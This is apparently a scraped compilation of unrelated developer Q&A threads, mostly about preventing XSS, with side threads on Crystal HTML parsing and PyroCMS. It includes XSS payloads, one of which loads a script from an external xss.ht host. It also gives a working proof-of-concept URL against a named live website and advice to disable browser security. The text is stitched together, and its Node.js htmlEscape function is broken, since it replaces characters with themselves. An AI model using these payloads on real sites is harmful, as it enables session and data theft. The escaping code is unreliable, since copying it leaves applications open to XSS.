This source is OWASP Webgoat 5.4 (jsp)
I want to filter <, >, script
so, i used to replaceAll
but,
it not work!
like this
How to prevent XSS in this source?
Would you please try this and let me know:
Add the JSTL taglib in your jsp as follows
<%# taglib uri="http://java.sun.com/jsp/jstl/functions" prefix="fn" %>
use fn:escapeXml
${fn:escapeXml(searchName)}
Related
I want to know that how can I prevent script code and HTML attributes to stop from execution in editor of my website?
If someone add script tags with external link of code or call a function of jQuery in some attribute of HTML tag.
I am using markdown editor and django framework.
For example:
'>"></title></style></textarea></script><img src=x onerror=alert(document.domain)></script>
'>"></title></style></textarea></script><script/src=https://samengmg.xss.ht></script>
{{7*7}}{7*7}
use htmlEscape="true" for all input fields.
If you are displaying a value, try fn:escapeXml(value). You need to import jstl functions taglib
Hey i'm looking for some html parsing libraries in crystal. Something similar to nokogiri for ruby. I have a working regular expression but would prefer a html parsing library because html + regex == bad. Thanks.
The standard way in the Crystal standard library is XML.parse_html. This will give you an XML::Node which has a pretty nice interface.
If you need to use CSS selectors, you can use Crystagiri, although otherwise I don't see much benefit over the stdlib's offering.
After several hours of googling i just found out about myhtml, modest and Crystagiri. All of them are HTML parsing libraries.
I am the creator of Crystagiri. This is an HTML parser library for Crystal (like the amazing Nokogiri Ruby gem. I won't pretend that Crystagiri does much as Nokogiri but you can use to use CSS selector.
Bellow a basic example:
require "crystagiri"
doc = Crystagiri::HTML.from_url "http://example.com/"
puts doc.css("li > strong.title") { |tag| puts tag.node}
# => <strong class="title"> .. </strong>
# => <strong class="title"> .. </strong>
Thanks to Crystal Lang, Crystagiri is three time faster than Nokogiri (accroding to my test).
I tested site for vulnerables (folder /service-contact) and possible XSS DOM issue came up (using Kali Linux, Vega and XSSER). However, i tried to manually test url with 'alert' script to make sure it's vulnerable. I used
www.babyland.nl/service-contact/alert("test")
No alert box/pop-up was shown, only the html code showed up in contact form box.
I am not sure i used the right code (i'm a rookie) or did the right interpretation. Server is Apache, using javascript/js.
Can you help?
Thanks!
This is Not Vulnerable to XSS, Whatever you are writing in the URL is Coming in Below Form section ( Vraag/opmerking ) . And the Double Quotes (") are Escaped. If you try another Payload like <script>alert(/xss/)</script> That Also won't work, Because this is Not Reflecting neither Storing. You will see output as a Text in Vraag/opmerking. Don't Rely on Online Scanners, Test Manually, For DOM Based XSS ..Check Sink and Sources and Analyze them.
The tool is right. There is a XSS-Vulnerability on the site, but the proof of concept (PoC) code is wrong. The content of a <textarea> can only contain character data (see <textarea> description on MDN). So your <script>alert("test")</script> is interpreted as text and not as HTML code. But you can close the <textarea> tag and insert the javascript code after that.
Here is the working PoC URL:
https://www.babyland.nl/service-contact/</textarea><script>alert("test")</script>
which is rendered as:
<textarea rows="" cols="" id="comment" name="comment"></textarea<script>alert("test")</script></textarea>
A little note to testing for XSS injection: Chrome/Chromium has a XSS protection. So this code doesn't exploit in this browser. For manual testing you can use Firefox or run Chrome with: --disable-web-security (see this StackOverflow Question and this for more information).
I'm using pyrocms to develop a system.
I know that, to include style links in header tag ''
in a page is by using $this->template->set_metadata().
But how can I include javascript links like that?
Any answer is appreciated.
Alternatively, if this is for a theme and the script is housed within your actual theme/js folder, it becomes:
{{ theme:js file="file.js" }}
Using just the {js} function would send it to the actual system's embedded js files.
$this->template->append_metadata(js('foo.js)) will work, or you can dump it into the view as others have suggested.
If you are creating a template you can do it like this:
{js('file.js', 'modulename')}
See the Pyro documentation.
If this is not the answer you are looking for, please explain more clearly what you want. E.g. in which file exactly do you want to include your javascript?
Any idea how one would go about preventing XSS attacks on a node.js app? Any libs out there that handle removing javascript in hrefs, onclick attributes,etc. from POSTed data?
I don't want to have to write a regex for all that :)
Any suggestions?
I've created a module that bundles the Caja HTML Sanitizer
npm install sanitizer
http://github.com/theSmaw/Caja-HTML-Sanitizer
https://www.npmjs.com/package/sanitizer
Any feedback appreciated.
One of the answers to Sanitize/Rewrite HTML on the Client Side suggests borrowing the whitelist-based HTML sanitizer in JS from Google Caja which, as far as I can tell from a quick scroll-through, implements an HTML SAX parser without relying on the browser's DOM.
Update: Also, keep in mind that the Caja sanitizer has apparently been given a full, professional security review while regexes are known for being very easy to typo in security-compromising ways.
Update 2017-09-24: There is also now DOMPurify. I haven't used it yet, but it looks like it meets or exceeds every point I look for:
Relies on functionality provided by the runtime environment wherever possible. (Important both for performance and to maximize security by relying on well-tested, mature implementations as much as possible.)
Relies on either a browser's DOM or jsdom for Node.JS.
Default configuration designed to strip as little as possible while still guaranteeing removal of javascript.
Supports HTML, MathML, and SVG
Falls back to Microsoft's proprietary, un-configurable toStaticHTML under IE8 and IE9.
Highly configurable, making it suitable for enforcing limitations on an input which can contain arbitrary HTML, such as a WYSIWYG or Markdown comment field. (In fact, it's the top of the pile here)
Supports the usual tag/attribute whitelisting/blacklisting and URL regex whitelisting
Has special options to sanitize further for certain common types of HTML template metacharacters.
They're serious about compatibility and reliability
Automated tests running on 16 different browsers as well as three diffferent major versions of Node.JS.
To ensure developers and CI hosts are all on the same page, lock files are published.
All usual techniques apply to node.js output as well, which means:
Blacklists will not work.
You're not supposed to filter input in order to protect HTML output. It will not work or will work by needlessly malforming the data.
You're supposed to HTML-escape text in HTML output.
I'm not sure if node.js comes with some built-in for this, but something like that should do the job:
function htmlEscape(text) {
return text.replace(/&/g, '&').
replace(/</g, '<'). // it's not neccessary to escape >
replace(/"/g, '"').
replace(/'/g, ''');
}
I recently discovered node-validator by chriso.
Example
get('/', function (req, res) {
//Sanitize user input
req.sanitize('textarea').xss(); // No longer supported
req.sanitize('foo').toBoolean();
});
XSS Function Deprecation
The XSS function is no longer available in this library.
https://github.com/chriso/validator.js#deprecations
You can also look at ESAPI. There is a javascript version of the library. It's pretty sturdy.
In newer versions of validator module you can use the following script to prevent XSS attack:
var validator = require('validator');
var escaped_string = validator.escape(someString);
Try out the npm module strip-js. It performs the following actions:
Sanitizes HTML
Removes script tags
Removes attributes such as "onclick", "onerror", etc. which contain JavaScript code
Removes "href" attributes which contain JavaScript code
https://www.npmjs.com/package/strip-js
Update 2021-04-16: xss is a module used to filter input from users to prevent XSS attacks.
Sanitize untrusted HTML (to prevent XSS) with a configuration specified by a Whitelist.
Visit https://www.npmjs.com/package/xss
Project Homepage: http://jsxss.com
You should try library npm "insane".
https://github.com/bevacqua/insane
I try in production, it works well. Size is very small (around ~3kb gzipped).
Sanitize html
Remove all attributes or tags who evaluate js
You can allow attributes or tags that you don't want sanitize
The documentation is very easy to read and understand.
https://github.com/bevacqua/insane